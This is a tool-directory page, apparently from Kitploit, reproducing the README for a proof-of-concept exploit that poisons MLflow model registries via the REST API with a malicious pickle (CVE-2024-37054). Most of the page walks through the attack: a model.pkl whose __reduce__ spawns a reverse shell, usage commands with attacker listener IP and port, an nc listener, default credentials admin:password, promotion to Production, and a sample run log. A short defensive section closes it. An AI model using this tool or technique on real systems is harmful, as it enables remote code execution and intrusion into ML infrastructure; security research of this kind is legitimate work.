Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-37054 — Proof-of-concept that poisons MLflow registered models via the REST API, embedding a malicious pickle to trigger RCE when the model is loaded. | Kitploit
Tools/GitHubGitHub/bardlaudian/cve-2024-37054
Defensive ToolsVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingMachine LearningRed TeamingPayload DevelopmentAI Security
GitHubbardlaudian/cve-2024-37054

CVE-2024-37054

Proof-of-concept that poisons MLflow registered models via the REST API, embedding a malicious pickle to trigger RCE when the model is loaded.

1 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
Share

mlflow-pickle-rce

Generic proof-of-concept for pickle deserialization RCE against MLflow model registries (CVE-2024-37054-style). Talks only to the MLflow REST API — no assumptions about any specific client application in front of it.

⚠️ For authorized security testing only. Only run this against systems you own or are explicitly authorized to test (CTF/lab environments, engagements with signed scope, etc.). Unauthorized access to computer systems is illegal in most jurisdictions.

Vulnerability

MLflow's pyfunc flavor loads a registered model by unpickling a model.pkl artifact whenever mlflow.pyfunc.load_model() is called — whether that's triggered directly through the MLflow UI/API, or indirectly by some client application running inference against a registered model.

Python's pickle module can execute arbitrary code during deserialization via an object's __reduce__ method. If an attacker has enough access to the MLflow API to:

  1. create an experiment run,
  2. upload artifacts to that run, and
  3. register a model version pointing at those artifacts,

...they can smuggle a malicious pickle in as model.pkl. The next time anything loads that model version, the attacker's code executes in the context of the process doing the loading (the MLflow server itself, or a client app that embeds MLflow).

This is the same underlying primitive behind several MLflow CVEs, including CVE-2023-6015, CVE-2023-6018, and CVE-2024-37054. It's particularly dangerous because MLflow instances are frequently deployed with no authentication, or with well-known default credentials (admin:password).

What this script does

Purely API-driven, in order:

  1. Verifies API access (HTTP basic auth).
  2. Creates a registered model (or reuses one you already have access to via --model-name).
  3. Creates a run under a given experiment.
  4. Builds and uploads:
    • model.pkl — a pickle whose __reduce__ calls os.system() to spawn a reverse shell.
    • MLmodel — the manifest declaring a python_function / sklearn flavor backed by that pickle.
  5. Registers a new model version pointing at those artifacts.
  6. Optionally transitions that version to a given stage (default: Production), since many client apps only ever load the Production-staged version of a model.

What this script does NOT do

It does not discover or trigger the actual model load — that part is different for every deployment:

  • Sometimes the MLflow UI/API itself loads the model directly.
  • Sometimes a separate client application calls mlflow.pyfunc.load_model() behind some endpoint (a /predict route, a scheduled batch job, etc).

You need to:

  • Get the target --model-name yourself — from the MLflow UI, the MLflow API (/api/2.0/mlflow/registered-models/search), or whatever a client application returns when it registers a model on your behalf.
  • Trigger the load yourself, however the target does it.

Requirements

root@kitploit:~
pip install requests --break-system-packages

Python 3.8+. No other dependencies.

Usage

root@kitploit:~
python3 mlflow_pickle_rce.py \
    --mlflow http://mlflow.target.tld \
    --model-name my-target-model \
    --lhost 10.10.14.1 --lport 4444

Start a listener before or after running:

root@kitploit:~
nc -lvnp 4444

Then trigger the load however the target application does it (its own inference endpoint, a batch job, manually loading the model from the MLflow UI, etc).

All options

FlagDefaultDescription
--mlflow(required)MLflow base URL
--model-namerandomRegistered model name to poison; created if it doesn't exist
--lhost(required)Your listener IP
--lport4444Your listener port
--usernameadminMLflow basic auth username
--passwordpasswordMLflow basic auth password
--experiment-id0Experiment ID to create the run under
--stageProductionStage to promote the malicious version to, or none to skip the transition

Example session

root@kitploit:~
$ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
    --model-name my-target-model --lhost 10.10.14.1 --lport 4444
[*] Verifying MLflow access at http://mlflow.target.tld ...
[+] MLflow API reachable (200)
[*] Ensuring registered model 'my-target-model' exists ...
[+] Model 'my-target-model' already exists, reusing it
[*] Creating run under experiment 0 ...
[+] Run ID: 3f9b1c2a...
[*] Uploading MLmodel ...
[+] MLmodel upload: 200
[*] Uploading model.pkl ...
[+] model.pkl upload: 200
[*] Registering malicious model version for 'my-target-model' ...
[+] Model version: 200 - {...}
[*] Transitioning version 2 to stage 'Production' ...
[+] Stage transition: 200

[+] Malicious model version is registered.
[+] Model name: my-target-model
[+] Listener: nc -lvnp 4444
[+] Now trigger whatever loads this model version in the target app
    (e.g. its /predict endpoint, or wait for a scheduled job that
     calls mlflow.pyfunc.load_model() on it).

Detection & mitigation (defensive notes)

  • Never expose MLflow's tracking/model server without authentication, and never leave default credentials (admin:password) in place.
  • Restrict who can register model versions. Registering a model version is equivalent to arbitrary code execution on anything that later loads it — treat that permission like you would treat deploy access.
  • Don't unpickle untrusted artifacts. Where possible, use MLflow flavors/serialization formats that don't rely on pickle (e.g. ONNX, or flavors with safer serialization), or validate/sandbox model loading.
  • Monitor for unexpected registered-models/create, model-versions/create, and transition-stage calls in MLflow's audit/access logs, especially from accounts that shouldn't be publishing models to Production.
  • Network-segment the process that loads models (the MLflow server and/or any client app calling load_model()) so a code-execution primitive there doesn't have a direct path to sensitive internal systems.

References

  • CVE-2024-37054 / CVE-2023-6015 / CVE-2023-6018 — MLflow pickle deserialization issues (search NVD/MITRE for current advisories and affected version ranges).
  • MLflow REST API docs

License

MIT — see LICENSE.

Download Tool